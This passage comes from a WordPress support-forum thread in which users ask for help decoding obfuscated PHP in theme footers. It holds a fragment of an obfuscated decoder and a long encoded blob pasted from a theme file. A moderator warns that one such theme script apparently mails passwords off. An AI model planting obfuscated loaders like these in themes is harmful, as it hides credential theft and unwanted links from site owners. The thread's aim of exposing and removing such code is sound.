lll++])+16;\nfor($llll=0;\n$llll<$ll;\n$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));\n$lllll++;\n$lllllll+=$ll;\n}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);\n$llllll<<=1;\n$lllllllll--;\n}echo($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));\n$lllll=0;\necho($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));\n$llllllllll="";\nfor(;\n$lllll<$lllllll;\n){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);\n}echo($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));\necho($lllllllll);\n"));\nreturn;\n?>

    I don't know where is my mistake, I was trying for hours an mi back is hurting me.

    I aprecciate if you can help me showing what was my mistake or if you can decoding the footer.

    Thanks a lot.

  7. Well I made all that otto said

    put "\n" after every ";"

    No, that's not what I said. what I said was to put a carriage return after every ;. Like, press the enter button. Make a new line, that sort of thing.

    Using TextPad, \n represents "new line", because TextPad supports regular expressions. Programmers often use codes like this to represent things which are difficult to represent in text.

  8. Megah
    Member
    Posted 5 years ago #

    Oh thank you, today in the night, when I back home after work, will try again, and i'll tell you if I can.

    Sorry, I'm mexican, my english is "a little bad" jejeje.

    Thank you Again.

  9. mrmist
    Forum Janitor
    Posted 5 years ago #

    @mast. bis
    This one is a little different. Looks like it was done via PHPLockit. Your clean file is here --> http://wordpress.pastebin.com/m275646d5

    PS - STAY AWAY FROM THIS THEME.

    Probably also worth changing passwords too, since the script seems to mail them off. This is why encrypted themes should be avoided like the plague.

  10. flunatica
    Member
    Posted 5 years ago #

    I have decrypted the footer through the index.php and theme source. But now the widgets on the sidebar are static. I ran out of options, I really think that only someone who really understands this, can help. So, is there a good expert soul willing to help? I just want to remove the sponsor links from my footer.

    http://www.flunaticas.com.br

    the encrypted file is:

    <?php F9a2d8ce3('RlpqSEVvUElHWVJmY21KZUZ3ZGxLb2N0WmM2SVoyUVJVYzRabnQ1Tm5hUURqSWEvcC90NC92cnZ2Ly82NDN1bS9aL1YyNHh5bis3ZlA3ZDkvZDg2N1RENmRKWmhYd0w3WC9ITnArTDc1ei9FY1pUNXpaS0VRQVR2ckl3eFVxS1ZEM09rbjNVN2c0dWptd3hzRjhEbXJYZml4UGNnallzaUxCQUVqL0swcWVrRldOdzRBVXN2QzRzR2JEUGVaSjBCdStVRGZMNmZFc1RqTUxBUzlMbkRjMU1YYmZoclllT2FqUlB5ZFovVjVGUVprRkx0V0Y0T0toaWV2UWwxbUZBekFJYXBPQUVKYk1WRWVsbTE2SU9vd3dZWDZwVHBOdE80aksxb2dQVVJVTFMrMmUzZ2JIZHd4aVRwcnJTdkpFNi9NeVRFVmdXb2lDb3RQN3VxZ1U1WUxwUGM2MUd4dnVuRWZ6REg4emc2N3g2Nm9BZXpFVTN6bnJmV0lJd0lLbVYzeW1GTXJqMWx5UkJsVTErY3c4WEM0YWR1YkkvNXBLQmdlMk8rSk92Z3M0SWR2d3R1aGNuMkoyczE0OWFlcStBLzRrMmJSb2c0VG1TY0lid3ErYU5vMStwZGJjcFpJZ2JsSWFuSUVYc005S0Q2dU9vdVUyczEyZnRucThXZUh1TXJlZ3A5aW9lUXhjbm8yTjRiZmZLWW04OUJ4ZnVsQlFKK004R1liQmMxMUJsUGlXY1YyT044RGRFS1BsZXBHazZraW1GN1M5VHZaWHhqZ1A0bXJnN20xMTVBQjlJMHdiV3YrK29rMitxOUoxUnFsY2VQUDRkMG5TWFNPd1dZWTVUS25KRDE0TCtaYjJ6U0hCb3M1Sk5aMWZFbVBYR09CdEEwMTRPQXBONkdydWhSbUlkNlZXRU5Ob0kvN1gwblBtejBhZkV4NVpoNWtCZmR3Rkp6ZEQyTlV1ckVmS0Zib1o5YkxzOWNZQVZEejY3cWVIem4xOEFvNEhlSDQzeFBXbVRocGl0OUdQQ0JmU3JNeDJjU0I0a056aTVZRXo1aDNjK3V1NDB6dmp6ZG5UVVZnTlZmck9iTTduV21yNDFwOUF3Q3YzaDVQVTlPRTNhTHRCZmRoSll5dzhMcjFMOHhmMVdzdkkzYTFxbGN0Qk1kTGVLK2VTOGZ5bWV5RlRLNlZNZHdRWmdKRG43akpPZXoxT2kwVVovR08vY3QxYW04OGZ6NXdrMzl6cW93ekN1dlc3T05mS29Lc0pnWkZaQ1NML2VuSXhKMlFZQTZXdFpuQktoRTA1QkU1Q1VPOVh0Rk9JZUJZSjlJVjdwMFJ0Ym5EZWt6QThEbm93alBtUU0zaTErOXNHT3RzcmVKSHM2SFUyMjJvVmxISi9Ob0FoL3VXc296Slc5OWhtNFZsQnlDSEQxZjVsRkJqNGd1U1h2ZmgveDJDT1lvRTAyZHdicmU4SEg4ZVZ6ODBrZWFMbUlHRjAybkMycjZDVm5YelNhV2RSYTNIUjVEVDI3MzlrbFg1VEFDZ29XejNFdjN1VHF4dmErc0w4Q25CVG1EVW1JNUIrYUdsRmxMZVBCMlZLdGx4VzhLb0VRSUV3cjBvQUJPUkZuVDFTcmJTM084QUttZ25TdGFQUk9wN0dIdW1YbDR5ckZvU2QxV21CQWc2WGl4R2JybXNmYjFyMEVLMHlkY2dKTHJlSXRydDU2L1VVNXcwOHFaSCs4akZ1STM1VUhZeGZOdFVXZXNXWUJqVjUzN1pIcC9vOU5raFZ1RUQ1emdkNFBmUGR1cVRTcWF6VW80SDhyS05xZlRuN2ZMcFViTWVEcVM3UDFQeU1GM2w5dElXUkRVK2ZpeG5GSDFZWncwSFN3NW00dW4yVjIwQzBTeEdLdWJCbmM5eVk4TFY4ZkhVMzNrY0hJdTlrRXRubWQzRFFOTTR1N3ZlU2I5VThRaU10aGQ5QWtWVVFvU01BZk51dUNneHRnMTVUSmpFMG1UZTE1dzluTU40RTN2UXQ1eEo2WTJKUmNNT2tNdjhrR0tTd2FndFNhM1pZRXNKaHFtSXJsQ09rZEJTRGx1eTk0Y1F0RHd2YVJmM25aOTh6MWE1WU90NjNmU1NPanRFalFSYXVQWi9OL2trZFJ0cUVKRzJPeVY0bDh2OGs5eUVRVkh3UjJyZ1lKYnNXRWhkYnlZeUswa0c5RDZnallTN3JVNmlJWldTM2xxUWpwTGJHUWlUZW9rNFdqV1dBTVFJaUd5b2JsWFB0N0FSOS9kV1Z0QUgydkgwdm01ZXhQcHZGOS96Rnp6Nk13ZW4yelJ4cFhudTJzK0tBK3FkMVF4V0Vla3ZKVGJ5MzA3NHlMbVBzb1hEYjRQTlZBSTRMbndkajdJa1M2QTVlcTd3TGF2alVWVTgvTzlZYmtIc0RneEovbU9iMlBTUDJxWDkzSkRuNGZPeUVPR3NZUFc5Um1rNmtIVGdmamJOaDc2R0ZlM1NOK25SMDhpN2lsU25nTmVrbE40bFlLZi9EWmRmVjJsdng2S0FFRldaZTBScjNCWVdObml3OExFOVU3RzFWOFVnRXk3R00zMjRTTElFd3FQS2tGYk1QY0Z6UnkrbkRoQyt1VU1jS0IzanR5RXVVaDlQMFhYRFhjYkpsN1YweWNOUXBkNTVCZmVGNU5ndXNDa2Znc1pob0pqSkdEZTMwVU8zeGRQTlJpTVZoVllaRUVyZVRqMzVKSGdQWWNuRE91MGRNd3lPN3Zia2ZrUmpJ|MUR6WVZDUkZ3OHJpZzJmRHdMRHZDN0dvd0QwWHJhVGF2MytzWEU2WDdRK0RsdEhmOGM0SnRtSU1mU0FsZ0VtcGVSNWd3OVB1SFcrMFBpRnJhQWV3dkhRbzE4bVNka2lSTk5oS3l5TUxTaTc3RGdXZE9HYUFkREJZcU51aENYT1JIakprOURRUk5XQWN3SjNCUXNKM0tmTkJ1ZVdkTnNPbWJldjB1RzhaWUkzd3VCUXMvM2ZBU1ZJa0piTUNKTjdpakVTTHZ3dm9HSG9JNG85Qzk1djg0U0VtYXFJbm9mVWh3ZHFQUW1GYkhPMEQ2Y1ZNTG5lQkRPMFFadFZyQXVBUlR2TW5veHJIWTh1aHp6cXF2eXpUTEtFQWJWTVcxaEdzOWxUek5EN2trRFRyc29FeCszckM4MlBpSXkwMGlnUWtkaTkzNCtpWVVNam5HSytaM2JvM2c4a3N0N0FjNXRCb0tSTzQrQU4rR010NU9DM1h1SnJiYzhaVWNqa1RPWXM1NUdESTBEeGFuMXpwdnBCWG1IQi9wWUZZV241cjRDSjRxVFQ0N1FIeGY0cGtRZWJSYm81VitDR0U1UVFGVlVqQVptbjVFaGQvVzN4SWw1bXZvRjRpMmVLMjBqTDNUaXEwU2ZCZHhCaDc5UDVvUmtwMlBsTDE1c3lGVXUrSkRyUkZod3p3c2RzVDNTa01FcW1zaGNRSnlHcGJaNktXWkI1bmY0Q0NUaENNVEx4TzgvZURueXhVV0tBVW5yNTZYWTR2ZEpZRVdlZjJFTXNVSHpEcGtremRBVGI3STluVHFmTkxoSDBEMS94UENUQXA0VVBMMjFpaFhiT05WV1A0ZFFRUTZLQVpwYnFSbmw5MmtLc2prZ3NwM2QrRlRIbzVoRXF2WnVvUWRXZnA3MytEL1U1TWhucmFpdnl0TjhrenZyc3FpM3l4cmlwK0VKRUhLTTJMRmZyN3dUd1BJOU9KcGQ3b0pnSGNDNXpVY2ZIaWJmdFphVTlScUF0Vks1ZFdydHRaNE9PbHZLZFp2NVFqamQ0eTYrRW1wOTRDYnFzV0lZTUlGQ1pVSmtGNkRhckR1L2crZ1hvOXFDc1hFQW9OVG02aEZTdzVlM3p0Tms2amlMK3E3VE9GdmU5ZHhiaTJvaFBXQlEvRGlEenV3RUltQjVCc3B5WmNoRUJkdnpDbFc1bmNNTkEzczlobnh4U1ZnY1doYU9pa1l5K3FIN3N4eURaUFYzcjFjZk9ZdnN4aWNJNjhQS3BpQ0FhODlPL2RFTThCU0pOQ2kvMjFUT0xPRHB2WllQUjEzY0piUWtaRm5LbFk4Wk1yWDEyOU45TzRaRlh4RmdGYTQ1a2xGVkFFRkxmSGdlK2dnaVlHcW9RWUZLT09uaCtSYlB0anQ5UkZ2eVpCL0tXL2ZtbCtvVSthTjVVdksxSCtpc2FWNlVxY2JQakpHd2wzYW11MFUwNmFpZkVIQU9rQzEyMnI1aFFDbHBDUjF0QU1kaVdpRk9MUFBUUlRWZkQ5U05HNWE2ZjZCaTFYaGtzcUtEczZjTjFSL0RyUW0vcmJNZkVnZUhRSDh0dG5sQ1RBSDlGRlh6bllnVlgrSW5pM21sQ3RDRjBXUHRxV1F0V25qVmhMb3hnSDhxbHlxY3ZrM1ZHUERZTlluVlg2SlFQeUQ3R2RsbUlQV0l1eXVzcDZQcUFERWVMbWNnRHlkbjUvUnVHVEoxRGMwYU1kdW5zbjVDRnFZN0VyV2FTdllRV2FQc1RyRy9RN3QxVE91YlJDM3hQd2NuN0YvcE9jWUJYYmprS1YzTlBTRFFYU2hnMUxXYlZPVWYxY1VYOGUwUWhrckgxR0JUMkQwZFpoYzJocVRTQ1plaWs2cGVRKzlKdEZSR1V0TGJtVk04cTM3OUpjMXoveW5lbThyOW4rV1JVc09La0NrUjA3NWNTVm1FNnBwVSt5YXY3eDY4cGVvcFArVjRYN21KNUc1VDBkbWZRRFp3cGJRMXIweVNoSmwxdFk1dzZIVk9mTFRPejYyZTBHOFNVc1QwcWxNQ0tGWnhYN09ya2Eyd0dwcjhzYWx4ZVF2NXdkMENJcks3bUkyTG9jcjYxSFFycGpIeDhYOWMzU1NCVmIyVUxxRElYR1FGNlh3aE82cUVLZkRpbjBRMnQrclZoTG02TkVNWHM1dHVlREZTN21PTWZiOFd2NmZZcERiQXNVNEt4Q1dodk1FSTBsQ3F6bTdiMEhNQm5NWDMxOWphWDAzd0oxVDJhdjFvaHdzd1d0UWhxeThkYjh2YXJXVE9RSmM0L1pEbVpwWWU2ak40NDNrM2xPZTVXOUNSQks3dEFHaUZpOEVUbFAyQXM1Tm1HWkJmVlYya3dPUlZoTC8yNGhnV2ZBYVU2cGVtOTVMVEJoMEZXb1V2dVJOeTVKZ05ZMWNNN3M4eUc0ZDJCblRKd2gxSWlyc0Vyblk1cEw3ZWxhOWszYmdFMDYzWEIxck0vVStqSURYem03aktSZFhyeCszcVpFN0F4dWcvTjc3QXBZaGIzRFhaNHFuZkg0djNMNkNhdE8xejkwVlU1Z1BhV3IyN296ZXFsOExjbmRBZzl4UkI2MkJQN0dDSnMxTXFrV3c1d0tnSCtWY0tuYTBvN2d3eU5qN0RtWUpXM3pHZnJxUlVWa0Q3WGZDemhibzQxOGMyV1hXV0EzeE4ydjNhYmZsdFVZaUhCQWlkSjZySFlkNWQzaWZSOGxyajJDZnllYUplZUplSEM2ZjBUNnZHZktIUDhnK1ZUVzFQTldoWDBndDYxRkF0V2lMSVlTS1FMKzVpUjgrMy9YZjZGTVMwQVp1aWlkUWdtUnpVZlhwYytyeGVmNWVwaWRaQkRMdkpVd1N3WjJuMU1Pd0dpQ2dZVjZWTXk0WXZnL1RNZ2dJMnZMZFBzRE9lZ1B0RHYwSk9GSDVma3BjTDRMdk41MVorVitkK1hVWERyVmQ2NGI2eGZES2RrY0RjZjNKRnZlbUJ0UFF4b0xkN1Y0WFFPb1RXTmRvUURXQ0F2S0FLWWg2d2FuUGw2K2ZTdG1pZ0Z0aTM2SFFRMDhSZTM0eU1UczdBcjlMWW5LNk8zdnFsejgvYWYrWk94R25LYWFScG9rU2FGYjlGenRDY3p6bHVEeVIrWUNqR2JzV1ZCQUE3SmRYSm03QWY3TXFCY0o1MmRQckZYN3ZpRktFSVFIZGZLaHdzTlUzcENtS0xQRUt2TmtWNWRRaGlmSnlCZnJFc1I5c2ViT1B4NDVCM0c5MVlacHcrZ29qUlVaZGhVVmRQZTR0QW9NWHA5cm0yZm1zM1VNOXU0L2dFUmlQQ1pnYUI2d0pYdFNWbzIrSFdEUDY4MlU4R1g0a3dFcnhzLzM1RVRrbUlTTmg2cDFTSUovdytyZlJiVTFRRUdmaG82R1BoSnpHMWZRVzYrMk5DY3NjK0xFVnpGQ2cyOXFsc1I1UXRwZ2RFcWZRb2VURVdCWjhmc3hXVXd1NzZ4aUVHYmN4VU14Q0RNWlpNVlh5eVJicVFOTUhaMmtnN2FGRWRPa244UlFSZTF6VWcyVzRDaVM0TDFLT3ZWV1NYblM0RnlvUHUvREVsTmQ5eGp6K0tZbFFabjJRRFFtUHVKbElBVm03OVYyK0VLdFJXQUd6cXdGd2R4TC9Hc2pFcTEzdXFuMHU0YVIybXFZNWE4dVZoYTc1Vko2RVhpN3FNL2RuSVFIMWFNT3ZnSjVrclNnZC9Nbm10cy9lc3VOeXZid1o1a1hWMmRXN3hwdWZhQ0xoOVhMUmd6U0dpK0dLZjN3ZGRMbEE1SVBFUFhjMkFZd3BVbUkzZXlNd2tsdmMwM0xBUzYwYnpkT2FLMFV0eVZUNm00KzBPSStseDkxN1dKYTlpRkUzakN1emZ1SG8rTWI1Njhid0xDMk52TjZDQ1JnSWVyeVBRdHlMT01ZamZuSzVZUVZsNzNLRWw1eHJJeHlmcGd0NnFQWnp5SXVseHkvNWpnZWRrdTFqOUxEU2xLUTh2NE0rdTdqOURrN1ZsTGs1dnY5bHJOWWNZRWFDcXkwNUk0MDREeWlH|Sm1lMWxTaGp1elBQTS8rNXV3allrZVIrbWZmWHBIWk1lWVBoZnd5MkJVeTM2YXM5eDl0UUtmV3JyQ3dXNjRGZVVla3BBNTFWdDYvRWlmOHNaYkMwOVVKc0lVdkVJWlhpdTRPdGxlWjJrODdKZ1ZEbkh5N2lyVTUwN0Zhb2NJT283citFRmxPaDdpUzBhejhjTlNCNDRvS25PQk1QYXRES3lFK2J6L1VVOGJZVDlxU3l4Q0JCNVFhdnNDeFhxb0xvV3FWWTdaZE5JL1BGdUp5UG9ELzhFQnZFSzQ0QUhBZEJ0dWRZQjc2eWZrUFo0dkRnVFpTd21TQ2gzS1l4bkFTRzdLc1Fpc3BrMDlhMDlHS2hxVXBmd0dJdjBtUGlaM1VzcEN4L0Q3Wm14Yno1THQ0YkczSzNPaDNubFFUNnVKVFRFcE9aeXZzT3p3WnNscTlxRmR3SDAzY0JPbEJKL2lBSU5XN2ppYkdNaXBscW42MjM4RU9lQkpQRUx3dWMxdmZJZEtDS29oakpPZkMvSjdOK29PWGN1WnVJVTR6Z004WStwMnQvaUsyVUFCZGlJaHJtL2NtZFBwZnRFam1ORkluNmJwblV3RHppU0tENDV6dFd4dHVlV3JOQTRNUktNUnlhL2QvdE10Tm5JTjdDZ2dNbDlnYWFiaFZQSnZGT2Y2OFljRmlISnNVVEZHMkZRU1NzenpYczdxM3BzQ0pSVDBubHV5SGFNMHZqaFJvOEd0NFRBVjZ6TFVxaVk5Q0w4RU5UWFdkTEZBelZOcENpNmpyZ2VLdW4zWjFBdFZGRHFtWlhUN2l1N0hMNWhkMlZBMHhRN0lLSW1FK0FFZWMzbjlXZExDVmF0T0x5ZkRLR0k3Q3R6VGxiRmgxUjhnVEVuRjlMTURYSW5LZkxMeGdEWEU5ejNPRmNpUG9uenVFMkVmTStrN25JSFgxQVBKVDQxeXNtYmVWRmVacDkzcTZCem44RytjdnY2NTF1TEJtYjNlTzNzVVBOY2FCZHg3RVI2NW13eUpTempRbFJZL1BXYzF0SDVqYUc1dSs0TTFhNXdzb3Z3Q1M5dHV1K3VtTUZidU1QQTZtSnFzT2Q4ZnptUkZMV2loc1ZMYUMvZUJINjFkRDhqdFZZRVNXYTVnSmo0Rm04cTB2Mk1vd2xoZFcvRUxJT20wd2o0cTNyUzc5ZXpRaFM0SVpaUGMxUHJsU3hXTVVYTTdxd0lTNGdmeUN2Y2xDc1Q2Ni95aytWcDlPWmNuUG12MmdlNXB1bFFPYkdOY2pzdE0yd0d5VlRyR1VJdExGN21VbEx3clZXc3c4Y2ZTd3pZNStVZWRxZWRnSU5JQVlFaWJwU1RXT29oM1RjS1drQWFReUQ3aStuSHhjamJBVXZNK0hwa0VtVzNqbFN5R1JaUytYY284Wmc4VktVNkdoOW1rVHpmR0ptMnlkZC9WL2cweHlGZWFkQVNubEhWQ0VXUlk1UlM0anBqZUYvTWFkQ0JnWkhqb2Yya0gycUNFcDN1WWlzUTE0OXZKdWpGaGtlNm9aOW9ST1ZaTzh5b1ZZWkJ1TklPYWhhVG5aMGV2K09wN0d1bWE2b2xjaFNrNU9jdWlYdGZuMTYyK2FTaCtPUG1UQXU2NDhWUE4wNFl4Q3UvSUV1b28raU54NGpyRkVVR3d1RzBrdHBtQm5DaXkvNU83OHEra2taK1NZc0VySmxyMEZTYU5UbkFjK0hyTnNiQ1NsZkU0b05LUDFmcVpMcTJpV29FQWRlaDVQU0YxZjBaZTdJVlNZUHVPYmI2NUEwak9MeUFHWWZUQ2ZLbFNhVDNCbnFKSmVQVnE1NmZkakZGUGV3TEJqTWpZa3hvN2dJblFqUUdjTk1UbVRRaVhnRjVsZWVDOHRFdmJXeEEzQnFsVS93RXJsQldKZ0xJaE9yU1JUUkF0ODczV3hIODJBRUQ1VjJLM3VqQjMrOFVvelJpVm9DQ2tsMEJsSi94YTQzaE9OaThTRkNjRXhZUEFNUklONi9QeGxyNGtnY2ltZzRDQ1hGSGdmTFJVNW5oRlZZeG05VCtmaG40dDY1RndIcTQ3VTRwZng3d25sc09ORWVPcjRFcUN6SXE5T0VRK2Y0c0QxMkVmQmcrOVNzb3NldEN0b2RWNDhhVXlBZGhPMnRqV3E3VjJVSkFnbzdvMjdmYUFRQldKL3JDY1JOZW80dXpOQ0dMYVFsY2JZa3E3eWFCK3llclg2NC95SXVId1VFa2piOXV5Yzd1TFBMcklta2ZpTmxJNlJJWEtnVVFuTHZpbHRnM0hmeCtMeDZQbzBsVkJFa2hPWDFzRVhLYzVUeXBMYi83dy9QS1Q3dkwrQkh6RHYwMGZXeVhjVm5aalpzWEFoS3R6L0trd05FdGlicFV5bG01cDV1WkRLOWdhZURwRGlFWkFWbDBlUHZkSVU5aERUWk53VGdLUFBBTmVST28rdEpkU3RTeE5TUkJYRlhvWGN0YWIvYTExY2J1TlpnajZhSVFGMWJsakVHMERjdEw4SEhFa3NIbDFqUnc5WWRWc2pEYXhmcytQQWVGVG84YjA0NWhWcnhiNjIrTlI5K2doRlZtR0hBRTFBZU52NnRIeTJBYTBZblpWZmI4NitmTnJ6OVRzQUhnTWtVbExuam44V2RjYmhDNzdoRVpNMXFFdHFvV3Z6VFB1VHdqMkEvZWpQdlNaUjhCTzZhTlpTREZiaVNlVDdHV3hDTHBzMA==|MktxRDNDZmRFOEF0QlBNSTFUZ3hSejRxSVdoaWFJUGgyUnZmSy8yRHVMNHN6d2VlOVBxUGJWVnZwendsZFRzNnAvbEVOMWx6UUNOUUN3QmNpUDJNMzdrVWUxc1ZDa1lLRzlTM2l2STdkTDBQTUdTdEl4TXhmNFdFS0xzd0J4ZG1RcG9OaTBvV3JzeDFwYnk3OE9OWFVuYnh2U1V3cEZoZUQ5ZGR0MlBFd3gwR2pKNUJwQXpMVmNaRXlUUGxSK3FWMjhGYjNjeWYrNldOTllDajB0Z3FqYjVmRnVKckpRdUdVTnBaZTlpOFQybWVUaktNZDVkM1FVamFJL0RSUk9NUUcwbnlzaTQ1ZFJhcnlCNmNMUFFYamNqVC9NSFZxNVdJSmRtRFhyTnhtMS9IUVlVWk45Q0l2NThvemJ2UUNSeTZzK2x3VFZWcnRqcWZMa3dEd0d3Q09CalNLMm92anZPL044OVp2bTljYXNDMzlpVmFFckZHKytObkNBbDlPQjJDbjBsQXZRcFJRV1E0ditCR3I2U1NPMFc4Z3VyUk5RYVNZNzlraW5zUzBpcElpK1FJeW9zd2lpb3hidzRiSHd5Uy8yUStOaWpKSVNtTWNnRVdRK0NKR2ZXZ0lHL21QUzBtd0J4MlJkc3pPWGpGVjdmQldsRlBMSUJwWTlxME5LMlJGUG1HZElSajFaUHo3b0V0QmVCUzdha0JqMlNya2hObEkrRFpvWnhZVVF3MCsycDlCUjlmSHJjTVNLbmVDdnJpanQxeGVwdklJckpIUi9ZUitKS0pTSXhVNzE5ZnFPcHVKbVhZbnpQTW0xWHpZeEwxUm5SUUVGSkNlMFFlSzc4QTRKZU41Z0R2ZmJqUEVWVWVRYWszUHNaZldMYmc3OTB5bElDVGNQdUwrbGh5VjZxL1crQ2VsdzJwckgxYkEvVStwS095cGVZRmtTaWlCNnhacllieG14Q2tMUXVrTmk3TDB5bTBlYXhNdVZvMTRPY2M4UjlDZ0pPc3dhaWxoZmhBK2hka0lGTDZ5emNuMXpleGFYakFSd0tLa2haNnJGWVIrVU9OR2ZRM01HUWJNZXpIMjVTM0ZhM3ZzWmRKc1NNSkFqRDE1MzN2bHplSmRTL1BpZVZRcG5NWmtsdzVPVnZHSGYrdDErM0liR0tGZjBxQWdYYTN2eDRqSEl4eUxXcGh3dk9VRUJEVmtUOEhhbUxmWkg2QzdPdzlleXorbFZGZUdEbjhYQU9nbUs4Z2hHcHA5ZjJrdnNNTkROSEhQbllxVHNwQjMyMXd3YXExWklXb2F2QTB2dEJjSWR4eFJGT2lrbVZNNWljcHVnV1cvQUxBM2lsWjUxcWswRGlPUkN4ZTdvRXVJc21wTzkwei83K05kU0lDSjU1cXdsWi9XREZvV0hSY3p1RlpUb3diVEV6Wk55aDM0cTVsbDdaKzBnYUZLWUVobWl0VmVza2RlSFVIWjVUSFRSMDhCNVVTeUxHTjRhYjFoZmF4Y2kzcHU5bE1Hd1pNdmQ4MGpRMEd0OW1uRmZvWUtNcnNaZzMzaEZDcW42YlNvL09nRFI5czh1d2w3UzluWDcrTEpicGxsZVEwTjFQR0lhRmowUE5DVUdFbjl6ZU03Sk5QU2c1UUUzVUFYSVFUNVFuV0FvMTJkSHpRZFZ2YUlVR2NIMjZwZDdpSVAxZ21adlduNzVwbE1KNTAwekI2MXl6RXQrQVFYaWFpNExIVWYzS2orL2FjcEZWRkthNk1FTTJVenR2U3VMbTdXcWU3QmcrdmJMTVJheTBLcGRYcGpBdWY1UC8rb0ordDFpaXcyaUJiMVBrWjd0VWR1WnJqR0pieGU2a3lGcmE1TUx1OHZrS25YVkJ5Nm5EZFZtbC8zTlVUVE9URXRRY3dEcGFUNWxDekszSlE0MGViWGErb2NKY1VzYkJ6ZzNxRGp6U3duRFBJK2VDUUkzUWdpS0ZDMG9Eb0cyanV0VkR3M2RvWDhwRGRPeXF1OHNtT0o3MndJT1ZUWU5aUldLRjVXcDUzUkYwUVdQMmFqN1NSMHBpb0JWK0xMSHBGMUZwMzZWMFUyWHBlSzIvN3BJMnFoMnk2SytUV0RVSTlqRW1sL0JkUVJObEhtTlRnRU9vMXBJaGlvMjNLL09IazdHRGc2cDdMbW0zZ0tEa2pOZWlYS09BbnVpUGRkZkRJeE5FV0lqRkhaL053alVjWitFTWxtNld0NXYxL3RGMVZFbUN2c21DTVViOWlabzU1M1VGdkhEMlhHdXlRYnpocFlWSSt1Vjh1MGVrRHdXOGZCbk9JOE93dGxRNVlEWGFERlVvRlJSNHd3bHRtZ1c3cUFmeHhobW85TXlibkpHREh2TXBwRGVkRGpUVmsxWVM5N1RYMml6bjBBb0NsbzlyT2d6bHB5c0lTK2toUXpQV3dhc01kNHZySXZ0MkVjNlJJMXdRWExUby96Q2VxZXZtZXBCNXpueW5UVGpKTVJ0YjhhUWJXRk5jMWpFU2N0YncwYVFBWWFLRjdYdW1wRTdmZytiUVArT1lydm00N3Q1OEtKN1U5UUNWUmFURzd1Y1hkc0ZZMjhCNWk0R3BDd3UzRThreXBSOWt4MnpRL0pEK1hNWmtKMkVtck5jRjZoMFZCQllGSkoyZnlEendiRUVDUW5ldnlJaWxHVTdyZ0F2SDhLenJSMURxWDBOQjlPSnR5dmpsYTh2U1ZNYjR4T2JDNE8=|Q3dPc1dXNnpQRGRRaGlTM1ptR0pyRHZhUWNDcnpQWmZ2aFBhdngydTBUVWdtOHEyU3VLdDNhbm5iUXBvOFdnTnRlUDZSL1NEcmdnL0FlOS9iSGNLU2JGOVM3R1Z2bGo4QzRybXhBMlltclpBRHptRzRvbnpmQTAzTXhmYVl4VmZmVnAyZllXOC9Xcm8vNVBQUkJYQUorNEJxU0Z2UklhSG80ZXR0N01sVHdXcUxvMU9jbVNXbXhwME42Y1l5cmpyUmplcEw2ZStydmlqaEp3TllnWklIQUJPWmx5S3k5WkRiNzAyd29nTmpqdEtSbExzSWVEYUEzS0hJOHVuMytlSndXeDFZVFM3QlFvSXFkR0VTdU9xSWdrczJyUEltalgwZkpnV3YzOUdXS1NiWm84K3h3UW5lSXN2eWhaK0NCNVVQRElvWFI0bVJUcWI1eW90dzZrSEpWRUxmeFI1cjBiRkN1VkFiVThHOXErN25vRlhUZld5OStYbjJsVG44Yk9sNTdnVS9VV1BsZGNLRmw4cTZSRjd2ZlM3ZXRvYXA0NTRVa3JnRllzSUFQQWJCdVhTRGR2M2p5d3dHUzdzbWFXMXp4OGNhaHdBakl2VEtWeUNYYVN1N2NtMld3TEtEM3g4QzUyMTNnUit4UVowOWczdUtTQWpMelAyNEJucjkxWVpQRExDaGlxT1c1cloxenFzS1ZsRWVHZjB5SmtrYWdDSXVxek8yQWFrazZPVnlYcWdGeFViUk9JaGhwcjJVMXFDNUFhV2h3ZWxuWHZtYzU0Q0JTUWlpRzRBR2d1a21IMjRRSFdPZnFuK0g2cDVOSGtXTkdtUHFKSmZ2NFp4M1FMVU92WGowNmd5R0szd1AzNjZiWTQwSmNOQ2I0dzVxKzcxWDhQWk1INkk4elV1N0FqT3puMlFWVkFENHAzTjdsYm1iN1RlbEgxZE90dFpZSG42d3F1anRGZUVMRWR2QlNUQmVNcURubFIvTEVvR2YrVWxqQkEvU05qNTFYZyt0cVFQamlpYzZFc3ZWNHNoMGpuSjVqbiswSU95eDl0dmZRcnd4emRtRmZEcFk2RUtqQ1dGajZHbVA2ZmwrNmxlOWtNa2pIaEVzK1lCUUp5ODh5M3VQWk5WRHVBdGpoYjU4cW51eUdOcHhkU1FvRUFnY3NiU05ackplUzNKbGxIU0pyZDhFaXZYNFRoR01yVk0rYmoxUVIveFBqUUIzTHU4TUROREFlSnd5Wk1VcmxzZ0pXTUd0aUVibmZWcWJUU1RreVJkbzErTTBoQlRnTlpKME1qZEFxMTZ5U2FseWhUMVM1YW5ZRzZYOEJ4SVVLSHdHU0xYd2RSVmNKWU1Sd2FYbkc1aUx6VWl2bWVYSEIraHVvclJ6R21FVXpoNVpCbk1nNGZib1BsTzBHZnZpczRGMGw5djZhVDRZdk03OCt2QzVHbmRRVXA5NHJZOGJWYzViS0hwVHNiWXFkMHlMc0dBYkFJYnV6dkRCYzg5WTc4VjRadzZraDM3OVVVZVhlQ3lORDdlQjB2aCszWkdGWWNzd3hmck11Szc2Z0QxWnJTVTM1eVhYVnNhSHduL1REYmNMR0dNVHdYL1F2NmZnWTJzSHk2bEhzWHJmZGNQVDZlZExLYWk0VlJvNTlFcFliNWpLSllnQ3NkUWU1SFdtV0VlbUhlVTYvR0U=|YVdTU3FsTjhaRFlHREE5YU50ZE41RzlDcmVtMjRyU25YeVlla3lFMG5YbEhRMWNaSnFXVUJrQ2R3d3VtNkwzSFY3OEN1dVZwTE5LTkYwODBuRVMrc2x3ZWEwRGQvaHZZNU1tYXo1NW5wb0NQc1dFemR2bjZQSHZPdDFQZkk2OVR1ejJqSTNZbjB5QXJvQnRGNmdRZkVUMlRZamtSNldjVG1NcjhLZ2thS2dKT0JKQXpETkFpV2gzMkNJRG1TSU1oZi8vblBQLzc1Ky96cmo3LysrKysvL2c4PQ=='); ?>

  11. flunatica: That bit of code is incomplete. Without the rest of the encoded material, we can't decode that.

    Post the whole thing at http://wordpress.pastebin.com and then post a link back here. If you have any other encrypted files in the theme, you may need to post them too.

